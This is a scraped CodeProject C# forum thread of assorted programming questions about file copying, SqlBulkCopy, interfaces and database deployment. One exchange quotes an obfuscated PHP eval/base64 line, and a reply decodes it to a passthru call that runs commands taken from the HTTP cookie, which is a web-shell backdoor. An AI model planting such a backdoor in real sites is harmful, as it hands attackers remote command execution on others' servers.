|
Pete O'Hanlon wrote: want payment for providing you with complete code
Yeah, he can come by my house and shovel out my driveway through 3 feet of heavy, wet snow when I get some
"The clue train passed his station without stopping." - John Simmons / outlaw programmer
"Real programmers just throw a bunch of 1s and 0s at the computer to see what sticks" - Pete O'Hanlon
"Not only do you continue to babble nonsense, you can't even correctly remember the nonsense you babbled just minutes ago." - Rob Graham
|
|
|
|
|
shobhatai wrote: Please give me the source code for REMINDER in ASP.NET with C#
Please help me out
You forgot to mention it's urgent.
|
|
|
|
|
Kristian Sixhoej wrote: forgot to mention it's urgent
[Homer Simpson VO] Doh! [/Homer Simpson VO]
"The clue train passed his station without stopping." - John Simmons / outlaw programmer
"Real programmers just throw a bunch of 1s and 0s at the computer to see what sticks" - Pete O'Hanlon
"Not only do you continue to babble nonsense, you can't even correctly remember the nonsense you babbled just minutes ago." - Rob Graham
|
|
|
|
|
Response.Write("Reminder: do your own work in future");
Christian Graus
Driven to the arms of OSX by Vista.
|
|
|
|
|
Code it yourself
"The clue train passed his station without stopping." - John Simmons / outlaw programmer
"Real programmers just throw a bunch of 1s and 0s at the computer to see what sticks" - Pete O'Hanlon
"Not only do you continue to babble nonsense, you can't even correctly remember the nonsense you babbled just minutes ago." - Rob Graham
|
|
|
|
|
Hi
When I create a filestream I have passed a filename in the constructor. Later on how I can detach the existing file from the filestream and attach a new file with existing filestream.
thank you.
|
|
|
|
|
Hi,
I don't think the .NET Framework offers that functionality, one (or more) FileStreams can be attached to a file but are necessarily open as long as the FileStream exists; the file has to be identified by name or handle when the FileStream gets constructed.
If you want to close the file and open another one without the FileStream reader/writer feeling it, AFAIK you would have to derive your own class from FileStream and implement the extra functionality yourself.
|
|
|
|
|
Hi All,
Sorry about the rapid-fire questions, but I'm making a ton of progress with my project. Thank you to everyone who's helped me so far, and thanks in general to CodeProject--this site is heavily visited when I need something done.
For my next question, I need to know how to copy a file from one location to another while still keeping the same directory structure. An example would be:
c:\foo\bar\123.txt ---copy---> c:\copy\foo\bar\123.txt
I get an exception saying part of the path couldn't be found.
I can get to the original file just fine, so it exists where strOrigFile says it does. The destination path looks all right--the only difference being the highest parent directory being "Symbiosys_Backup" instead of "Files".
But I don't know what to do about this exception.
Do I have to recursively create directories as I go, or is there a ninja-sneaky way of pulling this off without pulling my hair out?
Code that I have is below.
private void button4_Click(object sender, EventArgs e)
{
string strOrigFile = "Files\\testfile.txt";
string strDestFile = "C:\\Symbiosys_Backup\\" + (System.IO.Path.GetFullPath(strOrigFile)).Replace(@"C:\", @"");
string strFileName = System.IO.Path.GetFileName(strOrigFile);
MessageBox.Show("Original File: " + strOrigFile + "\r\nDestination File: " + strDestFile);
System.IO.File.Copy(strOrigFile, strDestFile, true);
}
Thanka you,
Michael Fritzius
|
|
|
|
|
Hi,
directories don't get created automatically, so if (part of) the destination path does not exist, the copy will fail. You can use Directory.CreateDirectory() to first create the directory (even if it already exists), or you can first test for its absence, then create it, then copy the file(s).
You might also be interested in the Path class.
|
|
|
|
|
Got it. Thanks Luc. Very helpful. I ended up having to get only the directory from the big long string describing the destination file. Checking to see if that Exists() and then creating it if not was what the solution needed. I now have a directory with a subdirectory containing a carefully uprooted file structure.
Michael Fritzius
|
|
|
|
|
I have all of my data in a MySQL database and have the program working well with this database. Now when looking at creating an install CD for my program I have had issues in figuring out how I can deploy it. I would like the current tables to be installed with the MySQL database since my software mostly just searches the data. Just wondering if anyone else has accomplished this.
Also if I have to, was looking at maybe using SQL Server Express but couldn't quite find a good explanation of how that would work better.
Thanks in advance.
|
|
|
|
|
I think what you're looking for is SQL Server Compact Edition, not SQL Server Express edition. SSCE requires only an installation of one or two .NET assemblies, and operates against a database file that can be located anywhere on the filesystem. Also, with SSCE, you can provide a "starter" file with your application with the schema and data already populated.
|
|
|
|
|
bigphildogg86 wrote: I would like the current tables to be installed with the MySQL
One way to do this is to create the MySQL service during installation and then restore the database from a backup which vcontains the data and tables you want to distribute.
bigphildogg86 wrote: maybe using SQL Server Express but couldn't quite find a good explanation of how that would work better
Idea is the same but you can detach/attach the database.
|
|
|
|
|
Well, the string comes from php code:
eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));
But i want to decode it using c#... so i have to decode the string: s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==
It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me.
I know that the result of decode that string should be something like:
{@passthru(getenv("HTTP_COOKIE"));}
Thanks in advancce.
|
|
|
|
|
The code is not GZipped, it's Deflated.
The decoded string is: "?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?"
Code:
string result;
using (StreamReader reader = new StreamReader(new DeflateStream(new MemoryStream(Convert.FromBase64String(code)), CompressionMode.Decompress, true))) {
result = reader.ReadToEnd();
}
Despite everything, the person most likely to be fooling you next is yourself.
modified on Friday, December 5, 2008 8:19 PM
|
|
|
|
|
Big Thanks, very apreciated your answer and your time
|
|
|
|
|
And how can i compress a string... tryed to compress the original string but the reult is different. I´m confused... perhaps someone can help.
Thanks in advance.
|
|
|
|
|
Hello,
i have a question to this article: http://www.codeproject.com/KB/audio-video/SoundViewer.aspx
I want to get the frequency of a sequence, maybe the last 300 milliseconds, because i want to know, for example which "musical note" the lase sequence was, maybe, you can imagine it like the singstar software (sry for the advertising), i only want to know how "high" the person is speaking in the mic.
And how can i get the volume with that somebody speaks in the mic? I need that in integers or other numeric values.
I hope somebody can help me... many thanks
|
|
|
|
|
Is it possible to use SqlBulkCopy when a uniqueIdentifier column is the first column in the destination table? IF so how can I accomplish this.
Also Is there a way to use this line of code some how with a datareader when each datareader record is added to the destination table?
recnum = System.Guid.NewGuid();
FBasic8DataSet.LineItemRow newLineRow = this.fBasic8DataSet1.LineItem.NewLineItemRow();
newLineRow.RecNum = recnum;
Thanks Jon
Here is a code snippet I am using for SQLBulkCopy
string queryString = "SELECT `RecNum`, `Invoice Number`, `Date`, `Horse Name`, `Procedure Code`, `Procedure`, `Qty`, `AMOUNT`, `Cost` FROM `LineItem`";
OdbcCommand command = new OdbcCommand(queryString);
//Update Queries
lineItemTableAdapter1.DeleteWhereInvoiceNumberisNullQuery();
using (OdbcConnection connection = new OdbcConnection(connectionStringParadox))
{
command.Connection = connection;
connection.Open();
readerInv = command.ExecuteReader();
// Perform an initial count on the destination table.
OdbcCommand commandRowCount = new OdbcCommand("SELECT COUNT(*)FROM LineItem.DB");
OdbcConnection connectionRowCount = new OdbcConnection(connectionStringParadox);
commandRowCount.Connection = connectionRowCount;
connectionRowCount.Open();
long countStart = System.Convert.ToInt32(commandRowCount.ExecuteScalar());
MessageBox.Show("Total LineItem records" + Convert.ToString(countStart), Convert.ToString(countStart));
using (SqlConnection destinationConnection = new SqlConnection(destConnectionString))
{
destinationConnection.Open();
// Set up the bulk copy object.
using (SqlBulkCopy bulkCopy = new SqlBulkCopy(destinationConnection))
{
//Map columns
//SqlBulkCopyColumnMapping mapID =
new SqlBulkCopyColumnMapping("RecNum", "RecNum"); This maps the two colunms in question and causes errors becasue column types are incompatable. Source is autoInc(paradox Int) source is uniqueIdentifier.
bulkCopy.ColumnMappings.Add(mapID);
SqlBulkCopyColumnMapping mapInvNum =
new SqlBulkCopyColumnMapping("Invoice Number", "InvNum");
bulkCopy.ColumnMappings.Add(mapInvNum);
SqlBulkCopyColumnMapping mapPaid =
new SqlBulkCopyColumnMapping("Date", "DateWorkedOn");
bulkCopy.ColumnMappings.Add(mapPaid);
SqlBulkCopyColumnMapping mapInvTot =
new SqlBulkCopyColumnMapping("Horse Name", "HorseName");
bulkCopy.ColumnMappings.Add(mapInvTot);
SqlBulkCopyColumnMapping mapStat =
new SqlBulkCopyColumnMapping("Procedure Code", "ProcedureCode");
bulkCopy.ColumnMappings.Add(mapStat);
SqlBulkCopyColumnMapping mapDate =
new SqlBulkCopyColumnMapping("Procedure", "ShoeingProcedure");
bulkCopy.ColumnMappings.Add(mapDate);
SqlBulkCopyColumnMapping mapNotes =
new SqlBulkCopyColumnMapping("Qty", "Qty");
bulkCopy.ColumnMappings.Add(mapNotes);
SqlBulkCopyColumnMapping mapSatestx =
new SqlBulkCopyColumnMapping("AMOUNT", "Amount");
bulkCopy.ColumnMappings.Add(mapSatestx);
SqlBulkCopyColumnMapping mapcost =
new SqlBulkCopyColumnMapping("Cost", "Cost");
bulkCopy.ColumnMappings.Add(mapcost);
bulkCopy.DestinationTableName = "LineItem";
bulkCopy.NotifyAfter = 25;
bulkCopy.WriteToServer(readerInv);
bulkCopy.Close();
// Perform a final count on the destination
// table to see how many rows were added.
long countEnd = System.Convert.ToInt32(commandRowCount.ExecuteScalar());
MessageBox.Show("Total Line Item records copied" + countEnd);
|
|
|
|
|
First, do use code block formatting for code excerpts this large.
Jon Stroh wrote: it possible to use SqlBulkCopy when a uniqueIdentifier column is the first column in the destination table
You don't have to define the mapping for this column. SQL Server will generate a new calue for each row
Jon Stroh wrote: Also Is there a way to use this line of code some how with a datareader when each datareader record is added to the destination table?
recnum = System.Guid.NewGuid();
If you can execute that code in the statement, but most of the databases won't accept this. One way is that first you fill a datatable from the source then yu loop through rows and add GUID and after that you insert the data to the destination.
|
|
|
|
|
Hi,
I am using an interface a stepping through a list for my application to perform a method. (listed below)
foreach (IPetAnimalKeeper pettable in zooAnimals.OfType<IPetAnimalKeeper>())
{
pettable.pet();
}
Is there a way that i can then check the type of 'pettable' ?
reason being i would then like to call another method but would need to know the type first.
For instance if i wanted to call a 'move()' method.......i would need to know which animals 'move()' to call.
I've just tried putting in a 'break point' at the end of the 'foreach' and when i hover the mouse over 'pettable' i can see it's a Cat but if i code
pettable. i can only access the methods in 'pettable' not in the Cat class ?
Thats the methods i'd like access to.
Sorry, i know thats a bitconfusing.
Thanks
Neil
modified on Friday, December 5, 2008 12:48 PM
|
|
|
|
|
You can use one of the following methods to do that:
if (pettable.GetType() == typeof(myType))
{
...
}
if (pettable.GetType().Name == "myType")
{
...
}
if (pettable is myType)
{
...
}
But you probably shouldn't do it that way.
When you are looking for a certain method to call, you should always do so by using an interface. Avoid looking for a concrete type in your code wherever possible. This is bad coding style!
It is a far better solution to create another interface for each method you want to know about, exactly like you did it with the pet() method. This is one of the main purposes of the syntactical construct interface: They mark a type to have a certain member (i.e. method/property/event).
Regards
Thomas
www.thomas-weller.de
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. Programmer - an organism that turns coffee into software.
|
|
|
|
|
Thanks Thomas,
I'm new to interfaces so thats probably why i've left that way out just now (not too confident with them !).
Regarding the first option you gave, i understand how that works, but still cant see how it will allow me to access the methods in the animals own class....say Cat class ?
Can i cast the 'pettable' to instance of an object 'Cat' ?
|
|
|
|
|
nlowdon wrote: Can i cast the 'pettable' to instance of an object 'Cat' ?
Exactly.
Regards
Thomas
www.thomas-weller.de
Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. Programmer - an organism that turns coffee into software.
|
|
|
|
|
Instead of that, have an interface that declares the Move(), and have your animals implement the IPetAnimalKeeper, but if your animal can move, also make them implement the interface IMovingPet
if (pettable is IMovingPet)
{
((IMovingPet)pettable).Move();
}
There are other ways, probably more elegant.
|
|
|
|